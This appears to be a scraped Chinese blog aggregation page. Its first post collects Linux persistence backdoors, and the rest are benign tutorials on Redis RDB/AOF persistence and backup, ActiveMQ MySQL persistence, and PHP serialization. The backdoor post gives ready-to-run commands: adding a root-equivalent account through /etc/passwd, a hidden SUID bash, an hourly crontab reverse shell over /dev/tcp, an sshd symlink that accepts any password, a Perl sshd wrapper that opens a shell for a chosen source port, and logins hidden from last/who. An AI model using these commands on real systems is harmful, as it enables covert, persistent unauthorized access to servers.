2020-01-18 18:37:32 luguifang2011 阅读数 201

前言

收集复现下网上linux后门姿势,一起学习下。

这张图特别好

 

添加超级用户

某些情况下是没有回显的,可以用一句话直接添加用户

1、useradd guest;echo 'guest:123456'|chpasswd
2、useradd -p `openssl passwd 123456` guest
3、useradd -p "$(openssl passwd 123456)" guest
4、useradd newuwer;echo -e "123456n123456n" |passwd newuser

然后把我们添加的用户赋予root权限

echo "guest:x:0:0::/:/bin/sh" >> /etc/passwd
echo 'guest:123456'|chpasswd

有些时候添加不成功是因为用户策略可以适当加强密码强度

有些也会限制root权限用户远程登录

SUID shell

Suid shell是一种可用于以拥有者权限运行的shell,如果拥有者是root
那么任何运行了这个shell的用户便可以控制整个系统,如增加用户、修改root口令、清除日志等等。

root权限下执行

cp /bin/bash  /.test
chmod 4755 /.test

这个放的目录要尽可能隐蔽,最好是子子子目录然后找一个相似的命名。

切换普通用户

/.test

不过bash2针对suid做了一些措施 加个参数就行

/.test -p

 

 

euid:effective user ID:有效用户ID,指进程执行时对文件的访问权限

inetd

修改/etc/inetd.conf

 

nc直接连接

 

还可以配合修改修改/etc/service 改为常用端口隐藏

 

Crontab后门

redis未授权访问也是利用这个,我们可以设置没隔一段时间反弹一次shell

(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/xxx.xxx.xxx.xxx/4444;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -

ssh公钥免密

redis也有用到不多说了

ssh-keygen -t rsa

把自己本地生成的公钥id_rsa.pub传到目标服务器

chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

实战受限且很容易被发现

ssh软连接

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

直接ssh连接5555端口就行,密码随便输入。但是有些限制了root不许远程登录不能指定root用户。

软连接其实是利用了pam验证后续过程对pam_rootok模块的验证信任。
http://www.91ri.org/16803.html

SSH wrapper后门

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

连接:

socat STDIO TCP4:target_ip:22,sourceport=13377

 

说句实在话每太看明白,反正命令敲上去就连上了…

PAM

https://github.com/litsand/shell/blob/master/pam.sh

自动化脚本

Openssh

https://www.tuicool.com/articles/eIv22az

实战的确会遇到各种问题 (ps:本机都各种问题)

隐身登录

隐身登录系统,不会被last who w等指令检测到

ssh -T username@host /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T user@host 
/bin/bash -if

RootKit

安装了mafix刚执行妈的把老子环境都删了,现在连命令都执行不了…
心态爆炸!!!

收集后门

https://github.com/iamckn/backdoors

参考链接:

http://www.91ri.org/9026.html

https://www.anquanke.com/post/id/155943#h2-10

http://rcoil.me/2017/04/Linux%E5%B0%8F%E5%90%8E%E9%97%A8/

2019-08-26 14:42:00 weixin_44049466 阅读数 21

1.4 Redis数据备份与恢复
Redis所有数据都是保存在内存中,Redis数据备份可以定期的通过异步方式保存到磁盘上,该方式称为半持久化模式,如果每一次数据变化都写入aof文件里面,则称为全持久化模式。同时还可以基于Redis主从复制实现Redis备份与恢复。
1.4.1 半持久化RDB模式
半持久化RDB模式也是Redis备份默认方式,是通过快照(snapshotting)完成的,当符合在Redis.conf配置文件中设置的条件时Redis会自动将内存中的所有数据进行快照并存储在硬盘上,完成数据备份。
Redis进行RDB快照的条件由用户在配置文件中自定义,由两个参数构成:时间和改动的键的个数。当在指定的时间内被更改的键的个数大于指定的数值时就会进行快照。在配置文件中已经预置了3个条件:

save 900 1 #900秒内有至少1个键被更改则进行快照;
save 300 10 #300秒内有至少10个键被更改则进行快照;
save 60 10000 #60秒内有至少10000个键被更改则进行快照。
save 60 10000 #表示每隔60秒如果有10000个key变化就会生成一次快照,并且新的快照会覆盖原来的快照

默认可以存在多个条件,条件之间是“或”的关系,只要满足其中一个条件,就会进行快照。 如果想要禁用自动快照,只需要将所有的save参数删除即可。Redis默认会将快照文件存储在Redis数据目录,默认文件名为:dump.rdb文件,可以通过配置dir和dbfilename两个参数分别指定快照文件的存储路径和文件名。也可以在Redis命令行执行config get dir获取Redis数据保存路径,如图12-15(a)、12-15(b)所示:
在这里插入图片描述
图12-15(a) 获取Redis数据目录
在这里插入图片描述
图12-15(b) Redis数据目录及dump.rdb文件

Redis实现快照的过程,Redis使用fork函数复制一份当前进程(父进程)的副本(子进程),父进程继续接收并处理客户端发来的命令,而子进程开始将内存中的数据写入硬盘中的临时文件,当子进程写入完所有数据后会用该临时文件替换旧的RDB文件,至此一次快照操作完成。
执行fork的时操作系统会使用写时复制(copy-on-write)策略,即fork函数发生的一刻父子进程共享同一内存数据,当父进程要更改其中某片数据时,操作系统会将该片数据复制一份以保证子进程的数据不受影响,所以新的RDB文件存储的是执行fork一刻的内存数据。
Redis在进行快照的过程中不会修改RDB文件,只有快照结束后才会将旧的文件替换成新的,也就是说任何时候RDB文件都是完整的。这使得我们可以通过定时备份RDB文件来实 现Redis数据库备份。
RDB文件是经过压缩(可以配置rdbcompression参数以禁用压缩节省CPU占用)的二进制格式,所以占用的空间会小于内存中的数据大小,更加利于传输。除了自动快照,还可以手动发送SAVE和BGSAVE命令让Redis执行快照,两个命令的区别在于,前者是由主进程进行快照操作,会阻塞住其他请求,后者会通过fork子进程进行快照操作。
Redis启动后会读取RDB快照文件,将数据从硬盘载入到内存,根据数据量大小与结构和服务器性能不同,通常将一个记录一千万个字符串类型键、大小为1GB的快照文件载入到内存中需花费20~30秒钟。
通过RDB方式实现持久化,一旦Redis异常退出,就会丢失最后一次快照以后更改的所有数据。此时需要开发者根据具体的应用场合,通过组合设置自动快照条件的方式来将可能发生的数据损失控制在能够接受的范围。
1.4.2 半持久化AOF模式
如果数据很重要无法承受任何损失,可以考虑使用AOF方式进行持久化,默认Redis没有开启AOF(append only file)方式的全持久化模式。
在启动时Redis会逐个执行AOF文件中的命令来将硬盘中的数据载入到内存中,载入的速度相较RDB会慢一些,开启AOF持久化后每执行一条会更改Redis中的数据的命令,Redis就会将该命令写入硬盘中的AOF文件。AOF文件的保存位置和RDB文件的位置相同,都是通过dir参数设置的,默认的文件名是appendonly.aof,可以通过appendfilename参数修改该名称。
Redis允许同时开启AOF和RDB,既保证了数据安全又使得进行备份等操作十分容易。此时重新启动Redis后Redis会使用AOF文件来恢复数据,因为AOF方式的持久化可能丢失的数据更少,可以在redis.conf中通过appendonly参数开启Redis AOF全持久化模式

2019-05-18 13:12:48 weixin_41758407 阅读数 63

1.下载activemq

2.安装activemq

3.配置消息持久化


1.下载

http://activemq.apache.org/

这里下载apache-activemq-5.15.2-bin.tar.gz这个版本

2.安装

上传到你想安装的位置,这里我放到 /usr/local/server

解压:tar -zxvf apache-activemq-5.12.0-bin.tar.gz

启动:

cd /usr/local/server/apache-activemq-5.15.2/bin/linux-x86-64

./activemq start

能启动成功则继续下一步:

先关闭./activemq stop

3.配置消息持久化

3.1导入jar包:

commons-collections-3.2.jar
commons-dbcp-1.4.jar
commons-pool-1.6.jar
mysql-connector-java-5.1.45.jar

3.2编辑activemq.xml

cd /usr/local/server/apache-activemq-5.15.2/conf

编辑:vi activemq.xml

在<broker>节点外面加入该bean

    <bean id="mysqlDataSource" class="org.apache.commons.dbcp.BasicDataSource" destroy-method="close">
        <property name="driverClassName" value="com.mysql.jdbc.Driver"/>
        <property name="url" value="jdbc:mysql://192.168.199.1:3306/activemq?relaxAutoCommit=true"/>
        <property name="username" value="root"/>
        <property name="password" value="123456"/>
    </bean>

注释掉:

        <persistenceAdapter>
            <kahaDB directory="${activemq.data}/kahadb"/>
        </persistenceAdapter>

替换为:

        <persistenceAdapter>
            <jdbcPersistenceAdapter dataSource="#mysqlDataSource" createTablesOnStartup="true" />
        </persistenceAdapter>

配置持久化完成。

2017-05-17 11:25:13 u012972536 阅读数 1281

持久化定义:

通过将应用程序对象转化成一系列字节流(称  对象序列化),以适应网络传输和保存。

被序列化的对象还可以被重新装配,能够换成原来的形式。

这即意味着,改机制能自动补偿操作系统减的差异,比如在windows上的数据对象被序列化之后,可以通过网络传输到一台Linux系统,准确无误地实现重新装配。

“持久化”可以使应用程序对象不受应用程序运行时间的限制——可以讲一个对象序列化,然后保存到磁盘上,在再次需要使用時进行装配,从而圆满实现一种“持久”效果。



PHP持久化通过serialize()  和   unserialize() 这两个函数来实现的。 

在PHP中,几乎任何类型(Integer 、Boolean、Float、Array、Object)的变量都可以被序列化。

仅仅只有Resource类型不支持序列化,这完全是PHP中的Resource类型中指针的缘故。

而String类型,由于它本身就是字节流,所有根本没有序列化的必要。


其实象ASP这样的开发环境也隐藏这种特性,只不过它是通过, 在session 或 Application 对象中保存应用程序对象,这也是一种持久化的表现,不过ASP并没有提供这一特性的显式接口。

2018-11-24 17:15:50 cx55887 阅读数 49

一、持久化

实现持久化的方式有两种RDB、AOF

基于RDB方式做持久化

RDB是基于快照模式实现的,所保存的数据文件默认dump.rdb,具体产生这个数据文件的方式有两种:
方式1:客户端执行save或者bgsave命令

  1. 用save方式你的话,是在主线程中保存快照,也就是说在save执行完成之前所有的操作都会被阻塞,因为这是同步保存的。
  2. 在执行save保存数据的时候,不是做增量保存,而是将内存中的全部数据做一次同步,所以这个过程会很慢。
  3. 用bgsave的话,这个是基于异步的方式,也就是执行这个命令以后,会立刻告诉你已经执行启动,但是不会阻塞用户,而是在后台悄悄的运行。

方式2:提前做好计划任务

  1. 基于计划任务自动做同步的话,是在子进程中实现。具体过程是子进程会会打开一个文件,将数据保存到这个新文件中,在完成以后改名为dump.rdb就可以了。

基于AOF方式做持久化

相对而言,AOF模式比RDB更为可靠。这种方式之所以可靠是因为快照的方式是周期性的,比如每隔10秒做一次,但是如果在做了一次持久化之后,还没有到下一次系统就崩溃了,那么这段时间的数据就丢失了。
AOF有有点类似于mysql的二进制日志,这个文件会记录下每次所执行的语句(主要是写操作),每次的操作都会追加到文件的末尾。当Redis重启的时候,可以通过aof文件中的命令实现在内存中重建数据库。

但是aof这种方式也是有缺点的:

  1. 可能会有很多重复的内容,比如执行100次incre,文件就会记录100条,这明显是不合理的(事实上redis进程会扫描aof中重复的事件,并进行合并)
  2. aof文件会变得越来越大,为了解决这个问题,redis提供了一个命令BGREWRITEAOF,通过这个命令可以实现AOF文件的重写,需要注意的是这种重写机制是比较特殊的,因为在重写的时候,是不会去读取原来的aof文件,而是直接读取内存中的数据,将内存中的数据生成一个指令集,并将指令集保存在一个临时文件,在这个临时文件保存完成之后,就会用这个历史文件去替换原来的那个aof文件,完成重写aof文件的过程。so,aof文件可以通过重写的方式将其变小。

重写过程:

  1. Redis主进程通过fork创建子进程;
  2. 子进程根据Redis内存中的数据创建数据库重建命令序列于临时文件中;
  3. 父进程继承 client的请求,并会把这些请求中的写操作继续追加到原来的aof文件,额外地,这些新的写请求还会被防止于一个新的缓冲队列中;
  4. 子进程重写完成,会通知父进程,父进程把缓冲中的命令写到临时文件中
  5. 父进程用临时文件替代aof文件;

相关配置

  1. 与RDB相关的配置
# 设置同步周期
save 900 1
save 300 10
save 60 10000
# 进行快照备份的时候,一旦监控到持久化发生了错误,是否停止下来
stop-writes-on-bgsave-error yes
# rdb文件是否执行压缩来节省空间
rdbcompression yes
# 是否校验rdb文件
rdbchecksum yes
# rdb文件的文件名
dbfilename dump.rdb
# rdb文件的位置
dir /var/lib/redis
  1. 与AOF相关的配置
# 指定是否启用aof持久化
appendonly yes        
# 当aof文件的大小增长了指定比例的时候,执行一次重写操作        
auto-aof-rewrite-percentage 100  
# 指定aof文件做重写最小值
auto-aof-rewrite-min-size 64mb   
# aof持久化信息保存在哪个文件中(相当于mysql的二进制日志文件)
appendfilename "appendonly.aof" 
# 一旦执行了操作,会立刻将操作的语句记录到aof文件中
# appendfsync always
# 每秒向aof文件进行一次写入操作            
appendfsync everysec 
# 不主动向aof执行写入操作,由系统自行判断何时向磁盘执行写入操作            
# appendfsync no 
#在做重写的时候,新的写操作不做fsync                
no-appendfsync-on-rewrite no
# 当aof文件备被损坏时,redis返回错误并推出
aof-load-truncated yes           

实际生产环境中肯定是同时使用rdb和aof的,那么就会有一个问题,就是如果在某个时间点同时出发了AOF和RDB持久化,那么会对磁盘熊带来很大的压力,所以通常我们的Redis会禁止同时做持久化操作,如果正在做RDB的持久化,那么及时此时触发了AOF的持久化也是不会执行的。

二、备份

  1. 在有持久化的情况下,数据会自动保存在文件中,这里为了演示现将持久化关闭。
# 修改配置文件
[root@BIGBOSS ~]# vim /etc/redis.conf 
# 禁止快照方式的持久存储
save ""

#save 900 1
#save 300 10
#save 60 10000
# 禁止AOF方式的持久存储
appendonly no
  1. 删除之前的数据,并重启服务
[root@BIGBOSS ~]# rm -rf /var/lib/redis/dump.rdb 
[root@BIGBOSS ~]# systemctl restart redis
  1. 在redis中填充一些数据
10.220.5.171:6379> DBSIZE
(integer) 0
10.220.5.171:6379> set name cx
OK
10.220.5.171:6379> set age 20
OK
10.220.5.171:6379> set addr tianjin
OK
10.220.5.171:6379> DBSIZE
(integer) 3
  1. 退出redis,再重新进入发现这些key依然存在(这些值是存在内存中的)
10.220.5.171:6379> exit
[root@BIGBOSS ~]# redis-cli -h 10.220.5.171
10.220.5.171:6379> DBSIZE
(integer) 3
  1. 但是如果重启Redis这些数据就没有了
10.220.5.171:6379> exit
[root@BIGBOSS ~]# systemctl restart redis
[root@BIGBOSS ~]# redis-cli -h 10.220.5.171
10.220.5.171:6379> DBSIZE
(integer) 0
  1. 重新插入数据,并手动执行保存
10.220.5.171:6379> DBSIZE
(integer) 0
10.220.5.171:6379> set name cx
OK
10.220.5.171:6379> set age 20
OK
10.220.5.171:6379> set addr tianjin
OK
10.220.5.171:6379> save
OK
  1. 可以看到生成了新的数据文件
[root@BIGBOSS ~]# ls /var/lib/redis/
dump.rdb
  1. 而我们做备份工作的时候,其实就是备份的这个文件,现在我将这个文件备份到tmp下
[root@BIGBOSS ~]# cp /var/lib/redis/dump.rdb  /tmp/
  1. 模拟故障,将/var/lib/redis/dump.rdb删除并重启redis,可以看到数据已经没有了,不过不要慌我们做了备份
[root@BIGBOSS ~]# rm -rf /var/lib/redis/dump.rdb
[root@BIGBOSS ~]# systemctl restart redis
[root@BIGBOSS ~]# redis-cli -h 10.220.5.171
10.220.5.171:6379> DBSIZE
(integer) 0
  1. 将备份数据挪回来,重启Redis查看数据
[root@BIGBOSS ~]# cp /tmp/dump.rdb  /var/lib/redis/
[root@BIGBOSS ~]# ls /var/lib/redis/
dump.rdb
[root@BIGBOSS ~]# systemctl restart redis
[root@BIGBOSS ~]# redis-cli -h 10.220.5.171
10.220.5.171:6379> DBSIZE
(integer) 3

通过上面的操作很明显的我们看到了备份数据和恢复数据的过程,在企业中数据备份也是很重要的一份工作。

------做运维之前很矫情的小年轻-----

redis持久化

阅读数 15

没有更多推荐了,返回首页